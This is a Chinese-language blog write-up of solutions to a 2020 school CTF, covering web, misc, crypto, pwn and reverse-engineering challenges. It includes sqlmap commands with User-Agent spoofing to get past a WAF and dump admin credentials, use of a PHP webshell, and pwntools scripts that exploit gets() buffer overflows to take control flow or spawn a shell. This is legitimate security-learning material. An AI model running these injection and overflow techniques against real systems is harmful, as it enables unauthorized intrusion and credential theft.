C1CTF2020部分WP


C1CTF2020WP

这次校赛学到的东西还是很多的,边做边学。。。。至少没有被零封
题目地址


WEB

一、webshell

使用dirsearch扫一下,发现一个shell.php
在这里插入图片描述
进入发现,推测是一句话木马,没有加 @, super_secret_&passwd就是参数
在这里插入图片描述用蚁剑连进去,发现错误,出了hint4才知道是 & 没有urlencode,&urlencode后是%26

在这里插入图片描述

找到flag文件,得到flag。


在这里插入图片描述

二、make_big_news

sql注入题,一开始以为是进入管理后台进行sql注入,但不对

回到主页面发现/?id=1,应该是在主页面用sqlmap
先-u查了一下,发现有waf
在这里插入图片描述看了hint的User-Agent,以为是网页的user-Agent,改成administrator发现也不对,上网查了一下,原来sqlmap也有User-Agent,sqlmap提交请求时默认的UserAgent为:sqlmap/0.9 (http://sqlmap.sourceforge.net),这样很容易暴露。我们可以改成我们自己的,首先BP抓包得到自己的User-Agent,找到option文件,搜索useragent,更改return值为自己的User-Agent然后就可以了。

在这里插入图片描述首先python sqlmap.py -u "http://42.192.184.223:25565/?id=1" --dbs,爆表名

在这里插入图片描述

然后python sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news --tables
在这里插入图片描述

进入adminpython sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news -T admin --columns
在这里插入图片描述
接下来就是查账号和密码了python sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news -T admin --columns -C username --dump
python sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news -T admin --columns -C password --dump

在这里插入图片描述在这里插入图片描述
直接登录,得到flag
在这里插入图片描述

三、What you see is not true

抓包在Repeater里发现一个可疑的php
在这里插入图片描述
直接访问
在这里插入图片描述
看response,得到flag。
在这里插入图片描述

Misc


一、Behindme

360压缩直接打开,得到两个文件,第二个就是flag。。。
可能是360压缩的问题。
在这里插入图片描述


二、flag的痛

audacity打开,选择频波图,Ctrl+滚轮缩小即可得到flag。
在这里插入图片描述

在这里插入图片描述

三、呜呜呜

gif图拿到kali下,binwalk扫出一个7zip
在这里插入图片描述
使用指令 dd if=wuwuwu.gif of=2.7z skip=6515 bs=1得到2.7z
在这里插入图片描述
发现有密码,一般伪加密应该7z可以打开啊。。。直到看到hint3,弱口令,果断输入123456,解开压缩包得到flag。

四、真·签到

直接输入flag即可



CRYPTO

一、Base的千层套路

老千层饼了,先base64
在这里插入图片描述再base16

在这里插入图片描述然后再base32、base64,base32,最后十六进制转字符串得到flag。

在这里插入图片描述

二、PigIsSoCute

猪猪,栅栏,应该是猪圈密码+栅栏密码,下载题目
在这里插入图片描述
很明显base64加密图片,找个解码网站解出图片

在这里插入图片描述与猪圈密码表对应得到字符串
在这里插入图片描述
也可以去网站在线转换。
在这里插入图片描述最后找到栅栏密码解密
在栏数为11时,语句通顺,即为flag。
在这里插入图片描述

三、ezrsa

低加密指数广播攻击,给了三组[n,e],并且加密的是同一个消息。

一开始还以为时e=3的指数攻击,爆了半个小时没出。。。
原来是附件错了。。。。不过还是有师傅在原来附件下做出来了,tql
直接上脚本,利用中国剩余定理

#coding:utf-8

import gmpy2
from Crypto.Util.number import long_to_bytes
def CRT(items):  #中国剩余定理
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s = gmpy2.gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N
# 读入 e, n, c
e = 3
c1 = 17539961945253373331398829582415575036612590036028757160772244972941908466194620745487023767352926635453129673400947551800570434953767905902511379295345136570451295489004354977126089417697594812125862100295615892308145313262857527278337604392345816174840378652211171638690235768088513635252024385701456197867071483547776503865408409665095139733362063385643440859866760991522192617240460504557499194128504331507032560630787690799469014901580657128316778018414925198950809650404230359744912206082228624165856464258230573588957481525576839241810430236093217199856740231709797084566663183618816179247665234718539862375401
n1 = 25954427034636580488688831489560115961069472666415079273188034049008164292940982483612692501107292736442028702125249540852911969436468068247311640975480854492713351976176525107812421379597665083397176515413434794308159396038186056408397306479209393999454750519928895047459076589767348484006913759151416548823334675582153771760249016389971299782988978062163676178221833040970770232195936409272958856175588744276987268446839438228569198582572605622120469636250653620089140773532878971104036436080460912344807135105729626088120725564796123320176046591333153953156273882667280324378550802455223461937451841750073937989983
c2 = 19539433379216375750218779547809435082376062229344477092200871020606061269432023167855101557680750544416015137722429840602008656509188763841543689135752445081445085769419299442034779615280240976402031241423972293205872765805658756654762675178901338870755503879710815288905412632689902066516703213400579816331631896382153898787960802955572920035926336038746837415149996536394565793517378707048820536682814580494351837890938696637346974833887793018590409840667797035121476421376800944840299969820809315976451914567085976886787797952235847848303316051413592902451221192422759665784806839017636325833553952683415622277952
n2 = 28977092400787747945291214910953475539397234633352432488666947740932896707746402087821613046855183575993557568941158781622249869105260289295489171383139731429934283214540710808914967126144590911898223369390321872883938655216721369282084455732783931981613818631966554624868638800456323235693804356430288896569110909336549599272178314914621792570786164871693373909365501287006142071973005860686344874538143943409429678311737686588867879332895264597392666663429379812688533242656808653123802278526421662344107299830146336834937141923350992781402666027186207135144811802279179093695687133335834251524227256015307192667513
c3 = 2918771551109062192743205470533564743530056495509371083790131677186017377366876762293882312559301769357307295816292413881152560132690342974420494635750769296910584532596145872019444918884467672570317268685540399444720264635786588214509564818842868742697904854444519509240580449289880213055809856384077365925988427171564956047955329734920817815060202824430450606090801964935340359511488077057357948109798343529542672715979068275244032300296615263045889742363640538553080156092612057664163330784377800571208069910607577769286608705780510252727167158433741629217121035911007985869067181230135673920332673026493205578621
n3 = 24190274092630151926687108793524797704176150214559782896709114566936770947792315485598948092406603301001115324838577933772803761602741194516662266729209957846204581131810722907796267901163277374210255586883616164601148068628640292710177535651254874024209722605833909278514127991673090395029685984076324965718786722675755176835689645547154439390446344335367504783824259324152050501491588000676038321288448646330542896345041295625635250852659692178192868571083100117948063254735996935227555828339364201830194807935109124187509333776751082631706013914267005054512697140686858570500070125114765551217478594770260412263351
n = [n1,n2,n3]
c = [c1,c2,c3]


data = zip(c, n)
x, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()

print long_to_bytes(m)

运行得到flag。
在这里插入图片描述

四、MITM

首先是sha256(),解密是不现实的,只能爆破
脚本:

import hashlib

sha = '662b45adf9453da253c5cac870d0c5c689e672112fa2455228bb32ba28dcfa14'
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
str2 = 'sEo2bOUvHBmWQCiJ'
for i in str:
    for j in str:
        for k in str:
            for x in str:
                string1 = i+j+k+x+str2
                if(hashlib.sha256(string1.encode('utf-8')).hexdigest()==sha):
                    print i+j+k+x
                    break

得到前四位,进入下一步
好家伙,嘤语不好的我看了头都大了。研究了半天终于明白了,Diffie-Hellman中间人攻击。
一边看着信安数基课本,一边解题。。。权当复习了

画了一张极草的图

在这里插入图片描述


解密方法课本也给出了,这里u=g^k , v = m *(g ^a) ^k mod( p )

在这里插入图片描述


根据课本写出脚本:

from gmpy2 import *
from Crypto.Util.number import long_to_bytes

g = 30932834142269550677232597839723419577424027932298193211727584980160405152016160859677975137035055085319627996219785399194044755440164321207601628586641208627579753016477561104304291961262786064868308097505778950297725190302426938548395436599982604046638358905147281553256780276476119965960852843249300996389
p = 127716972599959775383921891629238550807219465385231684816879987248298032099520045167767508621298943786802373206616339952713458030291514198815196516613243812427630619053206092232023708926342114426861335034458430721462017837083760989131023008959997918546845013521143397725421991501862579214935580003102532801557

A = 11841502130035363876997006137604206235157269506207472458979714206179517892994359025007975346034396152090593449522042998966024850529060056545233595210867025939946360088969873588650227504617047767628856231109096630466643513380342369434356608747704340740774834984960627738072689195148642042768632105433218581071

B = 55288744072654128538612447153722944937350124270393969742956396122807470615949253435809408613734631219052358901952170469327418844780313203245172392862259734885347151244371124416025145078425362857083468639191428282531987509689024713029737215408790589929559049441861368536651403637520881880336451903050174075089


C_b = 113495015769921801038995007657912020844760426463438561290960160092966606799945865311277149542941032530329190978591583596987027566180373410416807262759716614202104870294559671894232877044341481327825081904674327995963076097654973571535827659166946999615351735749673473990582231308250020466030829079935545458179

C_a = 10222301852224956897670083503823741710718536156410806559086924486265672583929485492187631122367778769637510819934407176271470089091141928108672671929277016529139158100884813877760457056767330353278303014298957708375365177493938324022435555419183490323779378962063946353831368669205106462626341229591808355652


xd1 = 1234
xd2 = 3214

yd1 = powmod(g,xd1,p)
print yd1

yd2 = powmod(g,xd2,p)
print yd2

up_2 =  powmod(B,p-1-xd1,p)
m = powmod(up_2 * C_b,1,p)
print m
# v = m * powmod(A,xd2,p)
# print v

up_1 =  powmod(A,p-1-xd2,p)
m1 = powmod(up_1 * C_a,1,p)
print m1
v1 = m1 * powmod(B,xd1,p)
print v1

flag = long_to_bytes(m1)+long_to_bytes(m)
print flag

运行得到flag。
在这里插入图片描述

PWN

一、guess1

首先在虚拟机file一下
在这里插入图片描述
64位,check一下,好家伙火力全开。
在这里插入图片描述
丢到ida64里跑一下,main函数看到是个猜数字的游戏
在这里插入图片描述success函数是cat flag在这里插入图片描述

但是在main函数随机种子产生前有一个gets(),这里存在溢出漏洞
然后是伪随机数。伪随机数问题,只需要把随机种子设置成固定值,就可以通过反复测试或设置同种子来生成伪随机数。

在这里插入图片描述
这里可以看到name到seed地址偏差为0xc
这时就可以构造payload

payload = 'A' * 0xc + p64(1)

前面0xc个A是赋值给name,64位整数1是赋值给seed。
根据payload写出脚本

from pwn import *
from ctypes import *

sh = remote('8.136.142.239',30472)
e=ELF('./ou')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A' * 0xc + p64(1)

sh.sendlineafter("",payload)

libc.srand(1)
for i in range(10):
    sh.sendlineafter("",str(libc.rand()%10))

print sh.recvall()

在这里插入图片描述

二、ezstack

老规矩首先file,32位,check一下发现金丝雀没开,应该是栈溢出。
在这里插入图片描述丢进ida,看main函数在这里插入图片描述
调用了realmain函数,在这里插入图片描述
这里仅仅是返回一个printf,而gets函数没有任何限制,这里可以进行栈溢出
然后又看到一个函数,应该去是这里获取shell终端
在这里插入图片描述

然后我们进入gdb动态调试,下断点到realmain函数
在这里插入图片描述然后 r 运行
在这里插入图片描述
然后一直n,直到运行到get,然后尝试输入4个A
在这里插入图片描述这时还是看不到esp和ebp的距离,再用stack 30, 计算 0xffffd098-0xffffd086=0x12

在这里插入图片描述

在这里插入图片描述
要达到4f_sal函数的起始地址,32位还要加4
在这里插入图片描述

然后构造payload payload = b"A"*(0x12+4)+p32(0x08048546)
exp

from pwn import *
p =remote("42.192.184.223", 32776)

payload = b"A"*(0x12+4)+p32(0x08048546)
p.send(payload)
p.interactive()

运行得到flag。
在这里插入图片描述

RE

一、ezpyc

pyc文件反编译
源码:(其中应该少个ord,补上了才能运行…)
将其中的O0o换成str,好看一点

def encrypt(str):
    trt = ''
    srt = str
    srt = srt[::-1]
    for tr in range(len(srt)):

        tt = ord(srt[tr]) + tr ^ len(srt) - tr
        trt += chr(tt)

    return trt

异或的运算优先级要比+、-要低,所以先算加减最后算异或

根据A ^B ^B =A 所以就可以得出脚本了

脚本:

def decrypt(m):
    nstr = ''
    for i in range(len(m)):
        xx = (ord(m[i]) ^ len(m) - i)-i
        try:
            nstr+=chr(xx)
        except:
            continue
    n_str = nstr[::-1]
    return n_str


if __name__ == '__main__':
    m1= '`zn pc|or-mx??Mzb?Hx~D??{?~N~'
    print(decrypt(m1))
    # c1c"f""7c_1"_e4""_t0_reve7se}
    m = 'c1ctf{p7c_1"_e4sy_t0_reve7se}'

因为编码问题…我只得出了部分,好在剩下的不多,凭借直觉就可以填上。

二、ezcmp

IDA动态调试问题,这道题,就在不知不觉下断点调试的时候突然就变成正确的flag了。。。搞得我很懵。复现的时候才明白了。
file一下,64位
在这里插入图片描述
在这里插入图片描述

在本机打开IDA64,在众多复杂字母中找到main函数
在这里插入图片描述
看到这个不要激动,哈哈哈哈假的。
在这里插入图片描述
先看汇编代码,猜测这两个可能是printf和scanf(如果不对还请师傅们指正)
在这里插入图片描述
将断点设到scanf前,这种效果。
在这里插入图片描述

设置linuxDebug,首先得到linux虚拟机的ip地址,将linux_server64文件复制到linux下,启动。
在这里插入图片描述

在这里插入图片描述前两个设置文件所在位置要包含文件名,第三个是位置,port维持默认。
在这里插入图片描述
start,即在本机得到flag。

在这里插入图片描述




总结

通过这次校赛,确实学到了很多,除了Crypto别的也只能签个到,还是要继续努力去学习更多的知识啊。感谢师傅们出的题。
最后放一下排名
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值